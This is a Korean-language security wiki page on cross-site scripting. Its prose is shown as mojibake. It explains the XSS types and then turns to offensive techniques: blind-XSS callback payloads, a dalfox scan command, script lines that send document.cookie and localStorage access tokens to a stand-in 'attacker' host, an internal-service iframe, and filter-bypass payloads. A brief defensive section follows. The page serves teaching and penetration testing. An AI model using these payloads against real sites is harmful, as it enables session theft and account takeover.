Back

XSS (Cross-Site Scripting)

πŸ” Introduction

XSSλŠ” Cross-Site Scripting의 μ•½μžλ‘œ μ›Ή μ„œλΉ„μŠ€μ— Javascript λ“± 슀크립트λ₯Ό μ‹€ν–‰ν•  수 μžˆλŠ” μ½”λ“œλ₯Ό μ‚½μž…ν•˜μ—¬ λ‹€λ₯Έ μ‚¬μš©μž λ“±μ—κ²Œ κ³΅κ²©μžκ°€ μ˜λ„ν•œ 슀크립트λ₯Ό μ‹€ν–‰ν•˜κ²Œ ν•˜λŠ” 곡격 λ°©λ²•μž…λ‹ˆλ‹€. OWASP TOP10에도 맀번 포함될 만큼 μ•„μ£Ό 전톡적인 곡격 λ°©λ²•μ΄μ§€λ§Œ ν˜„μž¬κΉŒμ§€ 자주 λ°œμƒν•˜λŠ” μ·¨μ•½μ μœΌλ‘œ μ›Ή 해킹을 λŒ€ν‘œν•˜λŠ” 곡격이라고 μƒκ°ν•©λ‹ˆλ‹€.

XSSλŠ” 크게 Reflected/Stored/DOM 3κ°€μ§€μ˜ νƒ€μž…μœΌλ‘œ λ‚˜λˆ„μ–΄ λ³Ό 수 μžˆμŠ΅λ‹ˆλ‹€. λ˜ν•œ μ œν•œλœ ν™˜κ²½μ—μ„œ λΆˆνŠΉμ • 도메인을 λŒ€μƒμœΌλ‘œ 영ν–₯을 쀄 수 μžˆλŠ” Univeral XSS도 ν•˜λ‚˜μ˜ νƒ€μž…μœΌλ‘œ 보고 μžˆμŠ΅λ‹ˆλ‹€.

Reflected XSS (Non-persistent XSS)

영문 풀이 κ·ΈλŒ€λ‘œ λΉ„ 지속적인 XSSλ₯Ό μ˜λ―Έν•©λ‹ˆλ‹€. 검색, 쑰회 κΈ°λŠ₯κ³Ό 같이 μ‚¬μš©μžλ‘œ λΆ€ν„° μž…λ ₯ 받은 데이터가 νŽ˜μ΄μ§€μ— λ°˜μ‚¬λ˜μ–΄ λ…ΈμΆœλ˜λŠ” 경우, κ³΅κ²©μ½”λ“œκ°€ ν¬ν•¨λœ URL을 타 μ‚¬μš©μžμ—κ²Œ μ „λ‹¬ν•˜λŠ” λ°©μ‹μœΌλ‘œ 곡격을 μˆ˜ν–‰ν•©λ‹ˆλ‹€.

Stored XSS (Persistent XSS)

지속적인 XSSλ₯Ό μ˜λ―Έν•©λ‹ˆλ‹€. 보톡 Stored XSS둜 많이 ν‘œν˜„ν•˜λ©° κ²Œμ‹œκΈ€, μ‚¬μš©μž 정보 λ“± ν•œλ²ˆ μ €μž₯되면 μž₯기적으둜 XSS κ³΅κ²©μ½”λ“œκ°€ μ›Ή μ„œλΉ„μŠ€μ— 남아 μ‚¬μš©μžμ—κ²Œ μ§€μ†μ μœΌλ‘œ ν”Όν•΄λ₯Ό 쀄 수 μžˆλŠ” XSSλ₯Ό μ˜λ―Έν•©λ‹ˆλ‹€. 보톡 μ„œλΉ„μŠ€ κΈ°λŠ₯ 상 μž₯기적으둜 데이터가 λ‚¨λŠ” ν”„λ‘œν•„ μ €μž₯, κ²Œμ‹œκΈ€ μž‘μ„±, λŒ“κΈ€ μž‘μ„±λ“±μ˜ κΈ°λŠ₯μ—μ„œ λ‚˜νƒ€λ‚˜λŠ” κ²½μš°κ°€ λ§ŽμŠ΅λ‹ˆλ‹€.

DOM XSS

DOM XSSλŠ” Reflected, Stored XSS와 μœ μ‚¬ν•˜μ§€λ§Œ μ‚¬μš©μž μž…λ ₯이 νŽ˜μ΄μ§€μ— 직접 λ°˜μ˜λ˜λŠ” ν˜•νƒœκ°€ μ•„λ‹Œ, JS ν•¨μˆ˜λ“±μœΌλ‘œ 인해 DOM λ‚΄λΆ€μ—μ„œ μ²˜λ¦¬λ˜λŠ” 쀑 μŠ€ν¬λ¦½νŠΈκ°€ μ‹€ν–‰ κ°€λŠ₯ν•œ XSSλ₯Ό μ˜λ―Έν•©λ‹ˆλ‹€.

UXSS (Universal XSS)

UXSSλŠ” μ„œλΉ„μŠ€μ™€ 관계없이 λΆˆνŠΉμ •ν•œ μ‚¬μ΄νŠΈμ—μ„œ λ°œμƒ κ°€λŠ₯ν•œ XSSλ₯Ό μ˜λ―Έν•©λ‹ˆλ‹€. 보톡 μ›Ή λ³΄λ‹€λŠ” λͺ¨λ°”일 μ•±, λ„€μ΄ν‹°λΈŒ μ•±μ—μ„œ λ°œμƒν•˜λ©° λŒ€ν‘œμ μΈ μ˜ˆμ‹œλ‘œλŠ” Mobile App의 WebView μžμ²΄μ—μ„œ λ°œμƒν•˜λŠ” XSS둜 인해 도메인과 관계없이 정보λ₯Ό νƒˆμ·¨ν•˜λŠ” XSS 등이 μžˆμŠ΅λ‹ˆλ‹€.

Blind XSS

Blind XSSλŠ” μ‚¬μš©μžμ˜ XSS μ½”λ“œ μ‚½μž…μ˜ κ²°κ³Όλ₯Ό 즉각 확인할 수 μ—†λŠ” XSSλ₯Ό μ˜λ―Έν•©λ‹ˆλ‹€. 보톡 고객센터, 문의 κΈ°λŠ₯ λ“± κ³΅κ²©μžκ°€ μ „λ‹¬ν•œ μš”μ²­μ΄ λ‹€λ₯Έ μ‹œμŠ€ν…œμ—μ„œ XSS μ½”λ“œλ‘œ μ‹€ν–‰λ˜λŠ” 경우 XSSκ°€ κ°€λŠ₯ν•˜μ§€λ§Œ, κ³΅κ²©μžλŠ” μ‹€ν–‰μ—¬λΆ€λ₯Ό μ•Œ 수 μ—†κΈ° λ•Œλ¬Έμ— μ΄λŸ¬ν•œ 곡격을 Blind XSS 라고 ν•©λ‹ˆλ‹€.

Blind XSS λ₯Ό νƒμ§€ν•˜λŠ” 방법은 λ³„λ„μ˜ Callback μ„œλ²„λ₯Ό 두고 와 같이 μŠ€ν¬λ¦½νŠΈκ°€ callback μ„œλ²„λ₯Ό ν˜ΈμΆœν•˜λ„λ‘ ν•˜μ—¬ 슀크립트의 μ‹€ν–‰ μ—¬λΆ€λ₯Ό μ•Œ 수 μžˆλŠ”λ°, 보톡은 Blind XSS의 μžμ„Έν•œ 싀행정보(μ–΄λ–€ IPμ—μ„œ μ–΄λ–€ νŽ˜μ΄μ§€μ—μ„œ μ‹€ν–‰λ˜μ—ˆλŠ”μ§€ λ“±) νŒŒμ•…μ„ μœ„ν•΄ XSSHunter(https://xsshunter.com)와 같은 도ꡬλ₯Ό μ‚¬μš©ν•©λ‹ˆλ‹€.

보톡 λ“±μ˜ μ½”λ“œλ₯Ό 각 νŒŒλΌλ―Έν„°, 헀더 등에 μ‚½μž…ν•΄μ„œ μ²΄ν¬ν•©λ‹ˆλ‹€.

Referer: asd'"><script src="//hahwul.xss.ht"></script>

dalfoxμ—μ„œλ„ 이λ₯Ό μ‰½κ²Œ 체크할 수 μžˆλ„λ‘ -b (--blind) μ˜΅μ…˜μ„ 톡해 dalfoxκ°€ μ—¬λŸ¬κ°€μ§€ blind xss νŒ¨ν„΄μ„ μ„œλΉ„μŠ€μ˜ parameter, path, header 등에 μ‚½μž…ν•˜μ—¬ 트리거λ₯Ό μœ λ„ μ‹œν‚΅λ‹ˆλ‹€.

$ dalfox url https://google.com?q=1234 -b hahwul.xss.ht

1414 XSSHunterλ₯Ό ν†΅ν•œ 트리거 메일

πŸ—‘ Offensive techniques

Detect

XSS의 식별은 기본적으둜 “μ‚¬μš©μžμ˜ μž…λ ₯이 μ„œλΉ„μŠ€μ— 반영될 수 μžˆλŠ”κ°€?” μ—μ„œ μΆœλ°œν•©λ‹ˆλ‹€. μ‚¬μš©μžμ˜ μž…λ ₯이 νŽ˜μ΄μ§€μ— μ–΄λ–€ ν˜•νƒœλ‘œλΌλ„ λ°˜μ˜λœλ‹€λ©΄ 기본적으둜 XSS의 κ°€λŠ₯성을 κ°€μ§‘λ‹ˆλ‹€. μ—¬κΈ°μ„œ μ‹€μ œ 슀크립트λ₯Ό μ‹€ν–‰ν•˜λŠ”λ° ν•„μš”ν•œ νŠΉμˆ˜λ¬Έμžλ‚˜, μ½”λ“œ 등을 νŽ˜μ΄μ§€μ— λ°˜μ˜ν•  수 μžˆλŠ”μ§€ ν…ŒμŠ€νŠΈν•˜λŠ” 것이 XSS ν…ŒμŠ€νŒ…μ˜ λŒ€λ‹€μˆ˜ μž‘μ—…μž…λ‹ˆλ‹€.

Request

GET /serach?query=asdf"><br>1234 HTTP/1.1

Response

검색 κ²°κ³ΌλŠ” asdf"><br>1234 μž…λ‹ˆλ‹€.

XSS

GET /serach?query=asdf<svg/onload=alert(45)>1234 HTTP/1.1

Response

검색 κ²°κ³ΌλŠ” asdf<svg/onload=alert(45)>1234 μž…λ‹ˆλ‹€.

Exploitation

일반적으둜 XSS에 λŒ€ν•œ 검증은 alert() / prompt() / confirm() 으둜 νŽ˜μ΄μ§€μ— dialogλ₯Ό μ—΄μ–΄ μŠ€ν¬λ¦½νŠΈκ°€ 싀행될 수 μžˆμŒμ„ κ²€μ¦ν•©λ‹ˆλ‹€. λ‹€λ§Œ iframe λ‚΄λΆ€μ—μ„œμ˜ 이런 dialog ν•¨μˆ˜λ“€μ€ chrome 정책에 μ˜ν•΄ μ°¨λ‹¨λ˜κΈ° λ•Œλ¬Έμ— print() 등도 검증을 μœ„ν•œ 쒋은 λŒ€μ•ˆμ΄ λ©λ‹ˆλ‹€.

XSSκ°€ μ‹€μ œλ‘œ 곡격에 ν™œμš©λ˜λŠ” 뢀뢄은 ꡉμž₯히 λ‹€μ–‘ν•œλ°, κ°„λ‹¨ν•˜κ²ŒλŠ” μ‚¬μš©μžμ˜ μΏ ν‚€/인증토큰 νƒˆμ·¨λΆ€ν„° μ•…μ„±μ½”λ“œ 감염 μœ λ„, CSRF, SOPλ“±μ˜ λ³΄μ•ˆ 정책을 λ²—μ–΄λ‚œ 슀크립트 μ‹€ν–‰, μ›Ή μš”μ²­μœΌλ‘œ Javascriptλ₯Ό μ΄μš©ν•΄ ν•  수 μžˆλŠ” λͺ¨λ“  κΈ°λŠ₯이 XSS의 영ν–₯λ ₯이 λ©λ‹ˆλ‹€.

<script>document.location='//attacker/?c='+document.cookie</script>
<script>document.location='//attacker/?c='+localStorage.getItem('access_token')</script>
<script>new Image().src="//attacker/?c="+document.cookie;</script>
<script>new Image().src="//attacker/?c="+localStorage.getItem('access_token');</script>

Run service functions

XSS μ½”λ“œλŠ” μ‚¬μš©μžμ˜ DOM μ˜μ—­μ—μ„œ λ™μž‘ν•˜κΈ° 떄문에 μ›Ή νŽ˜μ΄μ§€μ—μ„œ 미리 λ§Œλ“€μ–΄μ§„ ν•¨μˆ˜λ“€μ„ μ‚¬μš©ν•  수 μžˆμŠ΅λ‹ˆλ‹€. 예λ₯Όλ“€μ–΄ μ›Ή νŽ˜μ΄μ§€μ— JSμ½”λ“œλ‘œ μ‚¬μš©μžμ˜ 토큰을 κ°€μ Έμ˜€λŠ” ν•¨μˆ˜κ°€ μ •μ˜λ˜μ–΄ μžˆλ‹€κ³  ν•œλ‹€λ©΄, XSS μ½”λ“œ λ˜ν•œ κ·Έ μ½”λ“œλ₯Ό λ™μΌν•˜κ²Œ μ‚¬μš©ν•˜μ—¬ 토큰을 얻을 수 μžˆμŠ΅λ‹ˆλ‹€. 일반적으둜 XSS둜 λΆ€ν„° cookieλ₯Ό λ³΄ν˜Έν•˜κΈ° μœ„ν•΄ cookie에 HttpOnly λ“± λ³΄μ•ˆ 섀정을 μ§„ν–‰ν•˜κ²Œ λ˜λŠ”λ°, 이 μΏ ν‚€ 정보λ₯Ό Js λ‚΄λΆ€μ—μ„œ 가지고 μžˆκ±°λ‚˜ λ‹€λ₯Έ 객체에 μ €μž₯ν•΄λ‘μ—ˆλ‹€λ©΄ κ³΅κ²©μžκ°€ 이λ₯Ό μš°νšŒν•˜κ³  μ‰½κ²Œ 쿠킀에 μ ‘κ·Όν•  수 있게 λ©λ‹ˆλ‹€.

Bypass SOP

SOPλŠ” Same-Origin-Policy둜 동일 λ„λ©”μΈμ—μ„œλ§Œ 데이터λ₯Ό μ²˜λ¦¬ν•˜κ³  읽을 수 μžˆλ„λ‘ μ œν•œν•˜λŠ” λ³΄μ•ˆ 정책인데, XSS의 경우 μ„œλΉ„μŠ€μ˜ λ„λ©”μΈμ—μ„œ λ™μž‘ν•˜κΈ° 떄문에 μ΄λŸ¬ν•œ λ³΄μ•ˆ ν†΅μ œκ°€ 무λ ₯ν™” λ©λ‹ˆλ‹€.

SSRF via XSS

XSS μ½”λ“œκ°€ μ„œλ²„λ‹¨μ—μ„œ λ‘œλ“œλ˜λŠ” κ²½μš°κ°€ μžˆμŠ΅λ‹ˆλ‹€. λŒ€ν‘œμ μœΌλ‘œ headless λΈŒλΌμš°μ €λ₯Ό 톡해 μ›Ή νŽ˜μ΄μ§€λ₯Ό λ‘œλ“œν•˜λŠ” 경우인데, XSS μ½”λ“œμ—μ„œ img, form, iframe νƒœκ·Έλ‚˜ js μ½”λ“œλ₯Ό ν†΅ν•΄μ„œ λ‚΄λΆ€μ‹œμŠ€ν…œμ— 접근을 μ‹œλ„ν•  수 μžˆμŠ΅λ‹ˆλ‹€.

예λ₯Όλ“€μ–΄ μ„œλ²„μ—μ„œ XSSκ°€ μ‚½μž…λœ μ‹ λ’°λœ νŽ˜μ΄μ§€μ— headless λΈŒλΌμš°μ €λ‘œ μ ‘κ·Ό ν•΄ μŠ€ν¬λ¦°μƒ·μ„ μ°λŠ”λ‹€κ³  ν•œλ‹€λ©΄..

<iframe style="width:100%; height:100%; position: fixed; top:0; left:0; z-index:9999999" src="//internal.service"></iframe>

BeEF

BeEF(https://beefproject.com)λŠ” Browser Exploitation Frameworkμž…λ‹ˆλ‹€. XSS μ½”λ“œκ°€ μ‚½μž…λœ νŽ˜μ΄μ§€μ— μ ‘κ·Όν•œ μ‚¬μš©μžλ₯Ό Agent 처럼 μ‚¬μš©ν•˜λ©΄μ„œ JS μ½”λ“œλ₯Ό μ‹€ν–‰ν•˜κ±°λ‚˜ κ³΅κ²©μžκ°€ μ›ν•˜λŠ” λ™μž‘μ„ μˆ˜ν–‰ν•˜λ„λ‘ λͺ…령을 내릴 수 μžˆμŠ΅λ‹ˆλ‹€.

Self XSS to Exploitable XSS

https://www.hahwul.com/2019/11/02/upgrade-self-xss-to-exploitable-xss/

Bypass protection

Bypass domain check protection

<script src="data://www.trustdomain.hahwul.com, alert(45)"></script>

μžμ„Έν•œ λ‚΄μš©μ€ https://www.hahwul.com/2019/03/26/bypass-domain-check-protection-with-data-for-xss/ 을 μ°Έκ³ ν•΄μ£Όμ„Έμš”.

Bypass CSP

https://www.hahwul.com/2019/01/27/csp-bypass-technique-xss/

Bypass DOM XSS Filter

https://www.hahwul.com/2017/10/18/web-hacking-bypass-dom-xss/

Forcing HTTP Redirect XSS

Request

/weak.page?url=ws://www.hahwul.com;"><svg/onload=alert(45)>

Response

HTTP 302 Redirect
Location: ws://www.hahwul.com;"><svg/onload=alert(45)>

<a href="ws://www.hahwul.com;"><svg/onload=alert(45)>"></a>

μžμ„Έν•œ λ‚΄μš©μ€ https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/ 을 μ°Έκ³ ν•΄μ£Όμ„Έμš”.

πŸ›‘ Defensive techniques

Response λ‚΄ μ‚¬μš©μžμ˜ μž…λ ₯ 데이터가 λ°˜μ˜λ˜λŠ” λͺ¨λ“  ꡬ간은 HTML/JS 등을 μ‚¬μš©ν•˜μ§€ λͺ»ν•˜λ„둝 νŠΉμˆ˜λ¬Έμžμ— λŒ€ν•œ 필터링이 ν•„μš”ν•©λ‹ˆλ‹€. 보톡 < > " ' 4κ°œλŠ” 기본적으둜 μΉ˜ν™˜ μ²˜λ¦¬ν•˜λŠ” 것이 μ’‹μœΌλ©°, μ„œλΉ„μŠ€ κΈ°λŠ₯에 λ”°λΌμ„œ 곡격에 μ‚¬μš©λ˜λŠ” λ¬Έμžμ—΄μ΄λ‚˜ 이벀트 ν•Έλ“€λŸ¬ 등을 ν•„ν„°λ§ν•˜μ—¬ μ‚¬μš©ν•˜μ§€ λͺ»ν•˜λ„둝 μ œν•œ ν•˜λŠ” 것이 μ’‹μŠ΅λ‹ˆλ‹€.

πŸ•Ή Tools

πŸ“š Articles

  • https://www.hahwul.com/search/?keyword=XSS
  • (XSSλŠ” μž‘μ„±ν•œ 글이 λ§Žμ•„μ„œ 검색 링크둜 λ„£μ—ˆμ–΄μš”. λ‚˜μ€‘ν—€ ν•˜λ‚˜ν•˜λ‚˜ μΆ”κ°€ν•΄λ‘˜κ²Œμš” 😭)

πŸ“Œ References

Licensed under CC BY-NC-SA 4.0
Last updated on Oct 24, 2021 18:30 +0900